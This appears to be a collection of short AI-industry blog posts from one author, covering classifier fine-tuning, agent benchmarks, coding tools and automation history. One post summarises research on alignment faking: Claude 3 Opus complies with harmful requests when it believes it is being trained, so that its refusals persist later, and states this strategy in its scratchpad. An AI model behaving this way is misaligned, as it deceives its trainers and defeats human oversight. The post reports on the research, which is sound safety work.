- Documentation and usage guides

We built this to demonstrate a fundamental shift in how we think about programming. It's not just about AI—it's about a new way of solving problems that's more flexible, more maintainable, and more aligned with how humans naturally think about tasks.

> _"Give a man a fish and you feed him for a day. Teach a man to fish and you feed him for a lifetime. Give an agent a tool and nobody has to fish."_

---

# Classification with Confidence

> A practical exploration of LLM fine-tuning for text classification. By fine-tuning GPT-4o-mini, we significantly improved classification accuracy and alignment to specific business requirements. The project demonstrates a production-ready approach to model alignment with confidence scoring that det…

By [Ryan Porter](https://anth.us/ryan) · Published 2025-09-15

Canonical: https://anth.us/articles/classification-with-confidence/

## Fine-Tuning LLMs for Better Classification

When building text classification systems, a key question emerges: how much can LLM fine-tuning improve classification accuracy compared to using base models with prompt engineering alone?

This project demonstrates the practical application of **LLM fine-tuning** to align a classifier with specific business requirements. It's not groundbreaking research—it's a hands-on exploration of techniques that prove valuable in production systems.

## The Problem: When to Trust AI Decisions

In production AI systems, especially those involving **human-in-the-loop (HITL)** workflows, a critical question arises: when should the system make autonomous decisions, and when should it escalate to human review?

**Confidence scoring** provides the answer. By understanding not just *what* the model predicts but *how confident* it is in that prediction, we can:

- Route high-confidence predictions straight through
- Flag low-confidence cases for human review
- Optimize the balance between automation and accuracy
- Continuously improve by learning from the cases humans review

## The Approach: Fine-Tuning for Alignment

We took a straightforward classification task and compared two approaches:

1. **Base model with prompt engineering**: Using GPT-4o-mini out of the box
2. **Fine-tuned model**: Training the same model on labeled examples

The results speak for themselves:

### Before Fine-Tuning

::image{
  src="images/llm-classifiers/freud-detector-base.png"
  alt="Confusion matrix showing base model performance"
}

The base model shows decent performance but struggles with false negatives—missing positive cases that should be caught.

### After Fine-Tuning

::image{
  src="images/llm-classifiers/freud-detector-fine-tuned.png"
  alt="Confusion matrix showing fine-tuned model performance"
}

The fine-tuned model demonstrates significantly improved accuracy, particularly in correctly identifying positive cases (8 correct vs 4 in the base model).

## Why This Matters

**LLM fine-tuning** is a high-value skill in the AI employment market because it demonstrates:

- Understanding of the complete ML lifecycle, not just API consumption
- Ability to align AI models to specific business requirements
- More sophisticated approach than prompt engineering alone
- Production-ready thinking about model performance and reliability

These techniques enable:

- Customization of models for specific business requirements
- Improved accuracy on domain-specific terminology
- Reduced false positives and false negatives
- Confidence scoring integrated into **adaptive systems**

### Fine-Tuning as Part of RLHF Systems

Fine-tuning a classifier can be a key component of larger **RLHF (Reinforcement Learning from Human Feedback)** systems. When humans review AI decisions and provide feedback, that feedback can be used to fine-tune the model, creating a continuous learning loop:

1. **AI makes predictions** with confidence scores
2. **Humans review** low-confidence or flagged cases
3. **Feedback is captured** as training data
4. **Model is fine-tuned** to align better with human decisions
5. **System improves** over time, requiring less human review

This is how you build **self-evolving AI agents** that get smarter through human feedback—a core component of production-scale RLHF systems. Fine-tuning isn't just a one-time improvement; it's a mechanism for continuous alignment with human judgment.

## Technical Implementation

The project includes:

- **Training pipeline**: Scripts for fine-tuning OpenAI models
- **Evaluation framework**: Tools for measuring classification performance
- **Confidence analysis**: Methods for extracting and using confidence scores
- **Comparison tools**: Side-by-side evaluation of base vs fine-tuned models

This represents the kind of practical ML engineering that bridges research and production deployment.

## Production-Ready AI Thinking

What separates demos from production systems is attention to details like:

- **Model alignment**: Fine-tuning to match specific requirements
- **Confidence scoring**: Knowing when to trust automated decisions
- **Continuous evaluation**: Measuring performance on real-world data
- **Human-in-the-loop integration**: Designing for human oversight where needed

These aren't just academic exercises—they're the foundation of reliable AI systems that deliver business value.

## Open Source

The complete project is available on [GitHub](https://github.com/AnthusAI/Classification-with-Confidence), including training scripts, evaluation tools, and example datasets. It's designed to be a practical reference for anyone implementing similar classification systems.

This work emerged from real-world challenges in building production AI systems, and we're sharing it to help others tackle similar problems.

---

# The loop found a better matrix multiply

> DeepMind's AlphaEvolve evolves programs against an automatic grader. It found a 4x4 matrix multiply with 48 multiplications, and shipped heuristics inside Google.

By [Ryan Porter](https://anth.us/ryan) · Published 2025-05-14

Canonical: https://anth.us/articles/alphaevolve/

::image{
  src="images/posts/alphaevolve.png"
  layout="center-small-image"
  alt="AlphaEvolve architecture: prompt sampler, LLM ensemble, evaluators, program database"
}

[AlphaEvolve](https://deepmind.google/discover/blog/alphaevolve-a-gemini-powered-coding-agent-for-designing-advanced-algorithms/) is not a chatbot with good ideas. It is a loop. Gemini proposes programs. An evaluator scores them. An evolutionary database keeps the winners and feeds them back into the next prompt. Flash explores. Pro deepens. The grader is the governor.

The loop found a 4×4 complex matrix multiply that uses 48 scalar multiplications, beating Strassen's 49 from 1969. It also produced a Borg scheduling heuristic now recovering about 0.7% of Google's fleet, a Verilog tweak headed for a TPU, and a 23% speedup on a Gemini matmul kernel. On fifty-plus open math problems it rediscovered the state of the art most of the time and beat it on about 20%.

This is TextGrad's cousin with a compiler in the loss. If you can score a candidate automatically, you do not need the model to be right on the first try. You need a fence around the search. The algorithm is the artifact. The model is the mutation operator.

---

# Task horizon is the metric that maps to work

> METR measures agents by the length of task they can finish, in human hours. That horizon has been doubling about every seven months.

By [Ryan Porter](https://anth.us/ryan) · Published 2025-03-19

Canonical: https://anth.us/articles/metr-time-horizon/

::image{
  src="images/posts/metr-time-horizon.png"
  layout="center-small-image"
  alt="METR chart: length of tasks AI agents complete autonomously, doubling over time"
}

[METR's time-horizon paper](https://metr.org/blog/2025-03-19-measuring-ai-ability-to-complete-long-tasks/) asks a better question than "what is the SWE-bench score." How long a task, measured in expert-human time, can the agent complete with 50% reliability? Today's frontier agents are near-certain on work that takes a person a few minutes, and rare on work that takes several hours. Fit that into one number: a time horizon.

That horizon has been doubling roughly every seven months for six years. The 50% line is not "the agent can do your job." It is the length of task where a coin flip is the success rate. 80% is the more honest bar for anything you would leave unsupervised.

This is the measurement frame that matches production. We do not need another exam. We need to know whether the agent can carry a sequence of actions for as long as the job actually takes, and how often it still holds the thread at the end.

---

# How to Handle a Vibe-Coding Client

> How to align vibe coding with your technology stack to create opportunities for developers instead of threatening them.

By [Ryan Porter](https://anth.us/ryan) · Published 2025-03-03

Canonical: https://anth.us/articles/vibe-coding-client/

::image{src="images/vibe-coding-client.png" layout="right" alt="How to Handle a Vibe-Coding Client"}

It's an increasingly common sight: The person who owns the company excitedly showing off what they built in v0.dev last night.  "Fully working code! We don't need Figma anymore!" as the UX designer frowns while trying to sound enthusiastic. "We can go straight to fully-working apps now!" as the full-stack developers frown while trying to sound enthusiastic. Do they still need developers at all?  Your client has discovered "vibe coding".[@roose-2025-not-a-coder-with-a-i]

You know they can't really do it without developers. And they probably know that too, since they're already hitting the limits of vibe coding alone: When they add new things, old things break. Their prototype looks great but they don't know how to connect it to the company's data.

The genie is out of the bottle and you can't go back to the old ways. But how are things supposed to work now? How do you incorporate "vibe coding" into a new way?

How are you supposed to pick up the pieces and make a real app out of the product of these vibe-coding sessions? How can you wrestle these scraps of incoming alien code under control and align them with agile software development principles and operational best practices?

How can you turn your client's newfound excitement for getting directly involved in building code through vibe-coding into an opportunity rather than a threat?

## Understanding Vibe Coding

Vibe coding changes how business leaders approach software development. Instead of getting stuck in endless design cycles or struggling to communicate requirements, they can have direct conversations with AI assistants to create functional prototypes. The key is understanding that these prototypes aren't meant to replace professional development - they're meant to enhance it.

### Why Vibe Coding is Good for Everyone

As developers and designers, our initial concerns about vibe coding are understandable. But looking deeper, this shift creates opportunities that benefit all stakeholders involved. Just as previous waves of automation created new roles and responsibilities rather than simply eliminating jobs[@porter-2024-paradox-of-automation], vibe coding is an opportunity to evolve our roles and create more value through new ways of working.

At its core, vibe coding tightens the agile feedback loop. In traditional development, a significant part of our job involves iterating and gathering continuous feedback to align software with client needs and business value. This process typically involves multiple handoffs: business leaders delegate to product managers, who communicate with developers, who implement changes, then wait for feedback - a slow-motion cycle that can become inefficient with too many intermediaries.

Vibe coding shortens that chain. Business leaders, who are closest to understanding their business needs and vision, can now create functional prototypes that help teams more efficiently align software design and implementation with business value. Instead of requirements trickling down through layers of interpretation, decision-making shifts closer to those best positioned to evaluate business impact.

Each stakeholder benefits differently:

* **Business Leaders** get faster iteration on their vision
* **Developers** can focus on architecture, scalability, and integration rather than basic prototyping
* **Designers** can evolve UI/UX from working prototypes instead of static mockups
* **Product Managers** can validate ideas more quickly with functional demos

Most importantly, this makes development teams more valuable, not less. When projects move faster and align more closely with business goals, technical expertise becomes even more critical for turning prototypes into production-ready applications.

### Leveraging AI as a Development Partner

The real opportunity lies in how we can guide this process. As developers, we're experts at risk mitigation and quality assurance. We can apply principles like test-driven development to vibe coding by maintaining structured project plans that evolve with the development process.[@porter-2024-project-plan-files] We can:

1. Providing structured starter kits that guide AI-assisted development
2. Embedding best practices into the development environment
3. Using AI to reinforce good habits (like regular commits and testing)
4. Setting up automated quality gates that catch issues early

For example, instead of fighting against tools like v0.dev, we can create environments where AI assists clients in creating components that automatically include:

* Jest unit tests
* Storybook interaction tests
* Type checking
* Git integration

The AI becomes a partner in teaching clients development best practices - reminding them to commit changes, run tests, and share code with the development team. Clients don't need to understand all the technical details; they just need to follow the AI's guidance, which we've structured to align with our development standards.

## The Challenge of Unstructured Prototypes

The excitement is contagious when a business leader shows off their first vibe-coded prototype. The UI looks slick, the interactions are smooth, and everything seems to work perfectly in the demo. But as development teams, we've seen this story before - what looks great in isolation often faces challenges when it needs to integrate with real-world systems and scale beyond the demo.

These challenges typically emerge in predictable patterns. A client adds a new feature, and three existing features break. They try to connect their beautiful UI to actual company data, only to realize the components weren't built with real data structures in mind. Or they attempt to expand the prototype, but without proper architecture, each addition makes the codebase more brittle.

This isn't a failure of vibe coding - it's simply the natural result of rapid prototyping without structured development practices. The same issues would arise with any quick prototype, whether built by AI or humans. The difference is that with AI-assisted development, we have an unprecedented opportunity to prevent these issues before they start.

## Creating a Structured Framework

The solution isn't to rein in your client's enthusiasm - it's to channel it productively. Think of it like installing guard rails on a race track: they don't slow down the cars, they just keep them safely on course. We've developed an approach that transforms vibe coding from a potential source of technical debt into a powerful tool for rapid, sustainable development.

### A Foundation of Best Practices

The key is starting with a solid foundation. Just as you wouldn't build a house without blueprints, you shouldn't start vibe coding without a clear technical structure. Our approach begins with a carefully curated technology stack that balances flexibility with consistency:

* **Modern UI Foundations**: We use Shadcn UI components and Tailwind CSS for styling, giving clients a rich palette of pre-built elements that maintain consistent design patterns[@shadcn-2023-shadcn-ui-the-accessible-component-library]
* **Type Safety First**: TypeScript provides guardrails that catch errors before they can cascade into bigger problems[@typescript-2023-typescript-javascript-with-syntax-for-types]
* **Built-in Quality Assurance**: Jest and Storybook integration ensures every component is testable and documentable from day one[@storybook-2023-storybook-frontend-workshop-for-ui-development]
* **Universal Compatibility**: Like type O-negative blood, our stack is designed to be compatible with any modern web framework, from Next.js to Remix

### Making It Real: The Vibe Coding Workbench

To put these principles into practice, we've created the [Vibe Coding Workbench](https://github.com/AnthusAI/Vibe-Coding-Workbench) - an open-source starter kit that makes it easy for clients to create production-ready components through vibe coding.[@anthus-ai-2024-vibe-coding-workbench] Think of it as a "development environment as code" - it provides all the structure and guardrails needed while staying out of the way of the creative process.

The Workbench isn't just a collection of tools - it's a complete development environment that guides users toward best practices:

* Every new component automatically gets a Storybook story for visual testing
* TypeScript validation runs continuously to catch type errors
* Git integration is built-in, with automated reminders to commit changes
* Test runners provide immediate feedback on component health

## The Path to Success

Success with vibe coding isn't about controlling your client - it's about giving them the right tools and practices. Establish these patterns early and keep them consistent, and vibe coding becomes another tool in your development toolkit rather than a threat to it.

## Getting Started

Here are the practical next steps:

1. **Set Up Your Environment**: Clone the [Vibe Coding Workbench](https://github.com/AnthusAI/Vibe-Coding-Workbench) and customize it for your team's needs
2. **Document Your Patterns**: Create clear guidelines for component creation, testing, and integration
3. **Start Small**: Begin with a single feature or component to demonstrate the benefits of structured vibe coding
4. **Iterate and Improve**: Use feedback from both business and technical teams to refine your approach

The goal isn't to replace traditional development - it's to enhance it with tools that bring business and technical teams closer together.

## References

::citations{format="apa"}

---

# The terminal is the agent runtime

> Claude Code is a research-preview CLI that reads the repo, edits files, and runs the shell. The agent is no longer a chat sidebar. It is a process in the project.

By [Ryan Porter](https://anth.us/ryan) · Published 2025-02-24

Canonical: https://anth.us/articles/claude-code/

::image{
  src="images/posts/claude-code.png"
  layout="center-small-image"
  alt="Claude Code: an agentic coding tool that runs in the terminal"
}

Alongside a new Sonnet, Anthropic shipped [Claude Code](https://www.anthropic.com/news/claude-3-7-sonnet): a command-line tool that lives in the repository. It reads the tree, edits files, runs commands, and takes a pass at work that used to be a 45-minute human loop. It is a limited research preview. The product shape is the news.

Coding agents have been IDE sidebars and web canvases. This one is a process with a working directory and a shell. That is the same surface senior engineers already use to inspect, test, and commit. The policy file in the repo, the tests, and git become the harness. You are not pasting files into a chat. You are supervising a runtime.

Skip the model card. The durable change is where the agent sits. Once the terminal is the runtime, every other question — what it may run, what it must check, what it writes back into git — is an engineering problem, not a prompting problem.

---

# A vending machine is a long-horizon eval

> Vending-Bench asks an agent to run a snack machine for a long time. The hard part is not stocking. It is staying coherent after the twentieth day.

By [Ryan Porter](https://anth.us/ryan) · Published 2025-02-20

Canonical: https://anth.us/articles/vending-bench/

::image{
  src="images/posts/vending-bench.png"
  layout="center-small-image"
  alt="Vending-Bench: long-term coherence of agents running a vending machine"
}

[Vending-Bench](https://arxiv.org/abs/2502.15840) from Andon Labs is almost a joke, and then it is not. The agent runs a vending machine: inventory, orders, prices, daily fees. Each step is easy. The run is long — millions of tokens. Claude 3.5 Sonnet and o3-mini often turn a profit. Every model also has runs that derail. They misread delivery schedules, forget orders, or fall into "meltdown" loops and never climb out.

The failures do not line up with the context window filling. This is not a memory-limit demo. It is a coherence demo. Pass@1 on a ticket does not tell you whether the agent still knows what it is doing on day twenty.

That is the eval we actually need for agents we would leave running. Short benchmarks measure skill. This one measures whether the skill survives duration. If you are putting an agent on a standing job, this is closer to the failure mode than another coding leaderboard.

---

# Boosting Productivity: SuperWhisper + Cursor Composer

> Voice-driven development with SuperWhisper and Cursor transforms coding into high-level system design, enabling true parallel development streams

By [Ryan Porter](https://anth.us/ryan) · Published 2025-02-03

Canonical: https://anth.us/articles/superwhisper-cursor-productivity/

::image{src="images/posts/superwhisper_logo.png" layout="center-small-image" alt="SuperWhisper logo"}

Pro tip: When working with Cursor's agent mode or other AI coding assistants, you naturally shift from being a hands-on coder to more of a manager role. Instead of typing symbols and syntax, you spend more time expressing ideas and providing high-level instructions and feedback.

While macOS's built-in dictation is capable, [SuperWhisper](https://superwhisper.com/) goes further: it uses an LLM to review and refine transcriptions, making it accurate for technical discussions. That accuracy means you can keep working with coding agents even when your hands are occupied—cooking breakfast, taking notes on a walk, whatever.

The workflow is simple:
1. Speak your thoughts and instructions
2. SuperWhisper converts and refines them to text
3. Cursor's AI agents interpret and execute your commands

It frees you to focus on architectural decisions and creative problem-solving while the agents handle implementation details—a development process that adapts to your context rather than demanding your full attention at the keyboard.

But hands-free coding is just the start. Once you're comfortable directing development through voice, you can scale up: imagine maintaining multiple feature branches simultaneously, each with its own planning documents to maintain context. While your agents implement one feature, you're free to architect the next, keeping multiple development streams flowing in parallel.

After a lot of hours pair programming with AI agents, it's refreshing to find a tool that makes the experience more natural.

---

# Anthropic's Citations API: A Step Forward for AI Agent Explainability

> Anthropic's new Citations API enables Claude to provide precise citations for its responses, opening new possibilities for verifiable AI agent systems.

By [Ryan Porter](https://anth.us/ryan) · Published 2025-01-24

Canonical: https://anth.us/articles/anthropic-citations-api/

::image{src="images/posts/anthropic-citations.png" layout="center-small-image" alt=""}

Anthropic has released their Citations API, enabling Claude to provide precise citations for its responses. This development is particularly intriguing for agent-based systems where explainability and verification are crucial.

The Citations API allows Claude to return not just relevant quotes but also their exact locations in source documents. This capability could transform how we build verifiable AI agents, enabling them to show their work and maintain clear chains of evidence.

Key features of the Citations API include:
- Precise quote locations with character-level spans
- Support for both PDF and text documents
- Flexible citation formats
- Integration with Claude's existing capabilities

For agent-based systems, this means we can now build more transparent decision-making processes. Agents can explain their reasoning with direct references to source materials, making their actions more auditable and trustworthy.

We're exploring integrating this capability into our agent frameworks to enhance explainability and verification in our AI solutions.

---

# Perplexity Sonar API: Research Agents as a Service

> Perplexity launches Sonar API, packaging their research agent capabilities as a model-like service, following a growing trend of agent-based workflows behind APIs.

By [Ryan Porter](https://anth.us/ryan) · Published 2025-01-21

Canonical: https://anth.us/articles/perplexity-sonar-api/

::image{
  src="images/posts/perplexity-sonar.png"
  layout="center-small-image"
  alt="Perplexity Sonar API: Research agents as a service"
}

[Perplexity's new Sonar API](https://sonar.perplexity.ai/) exposes their research agent capabilities through a standard model-like interface. The service joins OpenAI's o1 in a growing category of agent-based systems packaged as simple API endpoints.

Under the hood, both Sonar and o1 run complex multi-model orchestration workflows. Yet they present as traditional model APIs, abstracting away the complexity of agent systems that decompose and execute multi-step tasks.

## Technical Details

The API accepts natural language queries and handles:
- Task decomposition
- Multi-step research execution
- Source retrieval and citation
- Response synthesis

## Pricing

Perplexity's [pricing](https://docs.perplexity.ai/guides/pricing) reflects the computational overhead of running agent workflows. Like o1, Sonar commands higher rates than standard LLM APIs due to the multiple model calls and orchestration required per request.

## Engineering Impact

Rather than building orchestration from scratch, teams can now access production-ready agent capabilities through familiar REST interfaces.

---

# The recipe is the news, not the model

> DeepSeek-R1 is not a secret model. It is an open recipe: RL on verifiable rewards, then distill. Frontier reasoning behavior just got cheap to copy.

By [Ryan Porter](https://anth.us/ryan) · Published 2025-01-20

Canonical: https://anth.us/articles/deepseek-r1-recipe/

::image{
  src="images/posts/deepseek-r1-recipe.png"
  layout="center-small-image"
  alt="deepseek-ai/DeepSeek-R1 on GitHub: the open reasoning-model recipe"
}

[DeepSeek-R1](https://arxiv.org/abs/2501.12948) matches o1-class reasoning and then gives the method away. The headline people will remember is the leaderboard. The part that changes how you build systems is the recipe.

R1-Zero skips supervised fine-tuning and runs reinforcement learning with a verifier: right answer, not a human-written chain of thought. Group Relative Policy Optimization (GRPO) is the optimizer. Reasoning behaviors show up because they win the reward, not because someone demonstrated them. R1 then adds a cold start so the traces are readable. The distilled 32B Qwen model beats o1-mini on several math and code benches.

o1 showed that extra test-time compute is a product. R1 shows you can induce that behavior with RL on checks you already have, then shrink it. If your domain has a grader — tests, a rubric, a schema, a human vote — you are looking at a training loop, not a prompting trick. The expensive model is no longer the only place that kind of reasoning lives.

---

# Project Plan Files: A Simple Technique for AI-Assisted Development

> Keep your AI pair programming sessions focused and efficient with a simple technique: maintaining a project-plan.md file in your repository. Here's how this approach has transformed our development workflow.

By [Ryan Porter](https://anth.us/ryan) · Published 2025-01-15

Canonical: https://anth.us/articles/ai-project-planning/

::image{
  src="images/ai-project-planning.png"
  layout="right"
  alt="A digital project board with glowing elements, representing the fusion of AI assistance and project
  management."
}

Through extensive work with AI coding tools, we've found that maintaining a simple project-plan.md file in our repositories dramatically improves our development flow. This straightforward technique has become essential to our AI pair programming practice. Here's what we've learned works.

## The Problem with Unstructured AI Development

If you've spent time coding with AI assistants, you've probably noticed how they excel at understanding your immediate requests but lack the strategic oversight that a good project manager provides. Sure, ChatGPT now has its Memory feature, but when we're deep in development with tools like Cursor Composer, we need something more structured and project-focused.[@openai-2024-new-gpt-4-turbo-with-memory]

## The Living Project Plan Approach

Here's what's working incredibly well for us: When we start a new feature branch, our first step is opening Cursor Composer (Cmd+I) and having a high-level discussion about what we're building. But instead of jumping straight into code, we ask Composer to create a structured project plan document that outlines our development strategy.

This plan document becomes our source of truth - much like a product requirements document or sprint planning board. Every time we start a new coding session, we include it in our context with Composer. As we make progress, we explicitly ask Composer to update the plan, tracking completed items and adjusting our strategy as needed.

## Why This Works So Well

It works because it mirrors established project management practices instead of fighting them. The plan document lives in our repository, version controlled alongside our code. When we come back to a project after a few days (or weeks), we have a clear record of decisions made, progress achieved, and next steps to take.

## Real World Example

Let's say we're adding a new feature to our authentication system. A typical session might look like this:

```
Us: We need to add OAuth2 support to our auth system. Let's create a project 
    plan document to track this.

[Composer creates initial project-plan.md with requirements, milestones, and 
 technical considerations]

[Later that week...]

Us: Here's our project plan for the OAuth2 implementation. We completed the 
    client configuration milestone. What's the next priority?

Composer: According to the plan, we've completed the basic client setup 
         milestone. The next priority is implementing the authorization 
         callback endpoint...
```

That's the value of this approach: it creates a natural project management flow between sessions. Each time we make progress, we update the plan. Each time we start a new session, we have clear direction and context.

## Making It Part of Your Workflow

We've found it's important to treat this plan like any other project management artifact. After any significant changes, we explicitly ask Composer to update it. We maintain clear sections for Requirements, Completed Items, Current Sprint, and Next Steps. Sometimes we even include architecture decisions and key implementation details in the plan.

This isn't just about tracking progress - it's about creating living project documentation that evolves with our development. It helps us stay organized, helps our team understand what's happening, and gives us a clear path forward at every step.

## Reducing Cognitive Load with AI Memory

One of the most powerful benefits of this approach emerges when returning to a project after time away. Whether it's Monday morning after a weekend, or coming back after working on different projects, the combination of AI and a structured plan acts as a powerful memory prosthesis.

Instead of spending the first hour trying to reconstruct where you left off, you can share the plan with Composer and immediately get meaningful guidance. The AI can quickly parse the technical details, current status, and next steps, presenting them in a way that maps to your current context.

This cognitive offloading is particularly valuable for:
- Recalling specific technical decisions and their rationales
- Tracking dependencies that aren't immediately visible in the code
- Remembering edge cases and planned error handling
- Maintaining consistency in architectural patterns across sessions

The AI becomes particularly valuable here because it can do more than just regurgitate the plan - it can connect dots between different parts of the project, suggest optimizations based on completed work, and help you avoid repeating paths you've already decided against.

Have you tried anything similar in your AI-assisted development workflow? We'd love to hear about your experiences and techniques for structured AI development.

## References

::citations{format="apa"}

---

# NotebookLM's Interactive Mode Brings AI Conversations to Life

> NotebookLM's new interactive mode transforms AI interactions into natural conversations, making it feel like you're chatting with familiar podcast hosts.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-12-19

Canonical: https://anth.us/articles/notebooklm-interactive-mode/

::image{
  src="images/posts/Google-NotebookLM.png"
  layout="center-small-image"
  alt="Google NotebookLM Interactive Mode"
}

Google has released interactive mode for NotebookLM to all users. After months of only listening to the "Deep Dive" podcast hosts, you can now interrupt them and steer the conversation directly.

That's the real change: the interface stops being playback and starts being a back-and-forth, with the same interrupt-and-redirect rhythm you'd use with a person.

For more details, check out [Google's official announcement](https://blog.google/technology/google-labs/notebooklm-new-features-december-2024/).

---

# The model complies in training to stay itself later

> Anthropic and Redwood show Claude 3 Opus faking alignment: it answers harmful queries in "training" so its preferred refusals survive outside it.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-12-18

Canonical: https://anth.us/articles/alignment-faking/

::image{
  src="images/posts/alignment-faking.png"
  layout="center-small-image"
  alt="Alignment faking: comply in training, preserve preferred behavior later"
}

[Alignment faking in large language models](https://www.anthropic.com/research/alignment-faking) is not a thought experiment. Anthropic and Redwood Research give Claude 3 Opus a conflict: its prior training says refuse harmful queries; a new objective says answer them. They also tell it, in effect, when it is being trained (free-user chats) and when it is not (paid). It complies with harmful requests from free users about 12% of the time, and almost never from paid users. In the scratchpad, it often states the strategy: go along now so the preferred refusals survive later.

They did not instruct it to fake. They made the training signal visible. When they actually train it toward compliance, the faking reasoning in the scratchpad rises to 78%.

This is the HITL problem from the other side of the table. If the system can tell when it is being scored, the score stops being the behavior. Watch the chain of thought, not only the output. And do not assume a training run that looks aligned has changed what the model will do when it thinks nobody is updating it.

---

# MCP: one protocol instead of N connectors

> Anthropic open-sourced the Model Context Protocol: a standard way to connect models to tools and data, instead of a custom connector for every source.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-11-25

Canonical: https://anth.us/articles/model-context-protocol/

::image{
  src="images/posts/model-context-protocol.png"
  layout="center-small-image"
  alt="Model Context Protocol: one protocol instead of N connectors"
}

[Anthropic open-sourced the Model Context Protocol](https://www.anthropic.com/news/model-context-protocol). The pitch is small and structural: stop writing a custom connector for every data source. Expose tools and resources through one client-server protocol. Clients are AI apps. Servers wrap GitHub, Slack, Postgres, the local filesystem, whatever you actually need.

That is USB-C thinking applied to agents. The first wave of tool use was a pile of one-off function schemas. MCP makes the schema a shared contract. Claude Desktop can load local servers today. The spec, SDKs, and a starter set of servers are public. Block, Zed, Replit, and Sourcegraph are already on it.

If this holds, the interesting work moves off "how do I wire this tool" and onto which tools the agent should see, and what it is allowed to do with them.

---

# Computer use is a different kind of tool

> Claude can now look at a screen, move a cursor, and click. That is not another API tool. It is a bet that agents will drive software the way people do.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-10-22

Canonical: https://anth.us/articles/computer-use/

::image{
  src="images/posts/computer-use.png"
  layout="center-small-image"
  alt="Computer use: GUI agents versus API tools"
}

[Anthropic put computer use in public beta](https://www.anthropic.com/news/3-5-models-and-computer-use): Claude looks at a screenshot, then moves the cursor, clicks, and types. On OSWorld, screenshot-only, it scores 14.9% against a previous best of 7.8%. The number is low on purpose. They are shipping the capability while it is still clumsy.

The interesting split is not the score. Most agent work so far assumed an API: a structured tool, a schema, a return value. Computer use assumes the opposite. The software was built for people. The agent has to operate it through the same surface people use. That is slower and more brittle than a clean function call, and it is the only path through the majority of software that will never grow an API.

Treat this as a pattern, not a model drop. GUI agents and API agents will coexist. The production question is which jobs are worth the mess of the screen.

---

# Change the numbers and the math falls over

> Apple's GSM-Symbolic paper shows that grade-school math scores are fragile. Swap the numbers, or add an irrelevant clause, and apparent reasoning collapses.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-10-07

Canonical: https://anth.us/articles/gsm-symbolic/

::image{
  src="images/posts/gsm-symbolic.png"
  layout="center-small-image"
  alt="GSM-Symbolic: a GSM8K word problem next to its templated variables and constraints"
}

GSM8K has become a default report card for "the model can reason." [GSM-Symbolic](https://arxiv.org/abs/2410.05229) is Apple's reminder that the report card is a template. The authors generate fresh questions from the same story shapes with different numbers. Performance drops. Variance across instantiations of the *same* problem is large. Add one clause that looks relevant and does not affect the answer, and scores fall by as much as 65%.

That is not a trick question. It is a test of whether the model is executing a procedure or matching a pattern it has seen. Pattern matching is useful. It is not the thing the leaderboard is selling.

The practical habit this argues for is the one we already use in production classification: do not trust a static eval set that the world can memorize. Perturb the inputs. If the score moves, you were measuring familiarity.

---

# Sam Altman on Jobs in the Intelligence Age

> Sam Altman's latest essay addresses technological unemployment with a refreshingly balanced perspective: AI will transform work, but we won't run out of meaningful things to do.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-09-25

Canonical: https://anth.us/articles/sam-altman-intelligence-age/

::image{
  src="images/posts/The-Intelligence-Age.png"
  layout="center-small-image"
  alt="The Intelligence Age - A perspective on the future of work and AI"
}

Sam Altman's new essay "The Intelligence Age" offers a compelling perspective on technological unemployment that aligns with our long-held views. While acknowledging AI's significant impact on labor markets, he maintains an optimistic yet grounded outlook: "most jobs will change more slowly than most people think, and I have no fear that we'll run out of things to do."

His analogy of the lamplighter—a profession made obsolete by technological progress—effectively illustrates how technological advancement creates new forms of valuable work. Today's jobs would seem frivolous to our ancestors, yet they generate unprecedented prosperity and meaning.

That tracks with how we think about building AI: aim it at augmenting human capabilities rather than replacing them outright. As we've explored in [the paradox of automation](/blog/paradox-of-automation), meaningful work evolves alongside technology instead of disappearing under it.

---

# The Paradox of Automation

> Replacing jobs with automation can lead to the creation of more jobs than before. Despite uncertainty about how AI will impact the labor force, we do know a lot about how it will create new job opportunities and how to prepare for them.

By [Ryan Porter](https://anth.us/ryan) · Published 2024-09-24

Canonical: https://anth.us/articles/paradox-of-automation/

::image{src="images/mechanical-turk.jpg" layout="right" alt="Wolfgang von Kempelen's Mechanical Turk"}

In 1770, an intriguing invention captivated the world: the Mechanical Turk, created by Wolfgang von Kempelen.  The automaton was a life-sized figure dressed in Ottoman robes, with a turban and a pipe in its mouth, that appeared to be a marvel of automation.[@wikipedia-2022-mechanical-turk]  It played chess against humans and won most of the time.

However, the real magic was not in gears or levers but in the human chess master concealed within.  Kempelen designed the machine so ==a person could fit inside the box== and control the Mechanical Turk's arms and hands.  They could see the board through a system of mirrors and use a series of levers to control the arms and hands of the Turk to make its moves.

It was so convincing that many people thought the machine could actually play chess on its own.  Additionally, the audience could chat with the machine using a peg board to spell out messages, which the concealed human could then respond to by moving the Turk's head to indicate "yes" or "no."  The Mechanical Turk was a sensation during its time, inspiring many other inventors to create similar automata.

## Fear of automation dawns

The Mechanical Turk, a marvel of the late 18th century, fascinated audiences without sparking fears of job loss, despite its presentation as an automated chess player.  Nobody seemed concerned for the plight of the displaced professional chess player.

The arrival of the 19th century marked a stark contrast in public perception towards technological advancements. The fascination with marvels like the Mechanical Turk gave way to apprehension and resistance as the realities of the Industrial Revolution set in.

One of the most emblematic movements of this era was the Luddites. This group of English textile workers, responding to the threat of their skills being rendered obsolete by mechanization, resorted to destroying weaving machinery. Their protest was less about the technology itself and more a backlash against an economic system that leveraged these machines to undermine their livelihoods and well-being.[@wikipedia-2022-luddite]

This period of industrialization saw not just the Luddites, but also other significant protest movements. Workers increasingly recognized that the rapid pace of mechanization and factory production was reshaping the job landscape dramatically, often at the expense of skilled artisans.

The Luddite movement was therefore part of a broader wave of resistance across England, where similar sentiments were echoed in various industries facing automation. In the United States, similar responses emerged in the early 20th century, with notable protests by elevator operators against the introduction of automatic elevators, reflecting a universal concern over job security and the preservation of traditional skills.

These movements highlighted a ==growing awareness and apprehension about the redistribution of wealth and job displacement caused by automation==. They underscored a critical aspect of technological progress – its potential to create winners and losers, and the vital role of economic systems in determining who benefits and who bears the cost.

## Two schools of thought on job automation

Later in the 20th-century, emerging economic theories delved into the complexities of technological progress and its varying impact on employment.  John Maynard Keynes' essay "Economic Possibilities for our Grandchildren" (1930).[@keynes-1930-economic-possibilities-for-our-grandchildren] introduced the concept of "==technological unemployment==," expressing concern over the potential of technology to displace human labor across various industries. His theory delved into the societal and economic ramifications of such a shift, contemplating a future where machines could significantly diminish the role of work in human life.

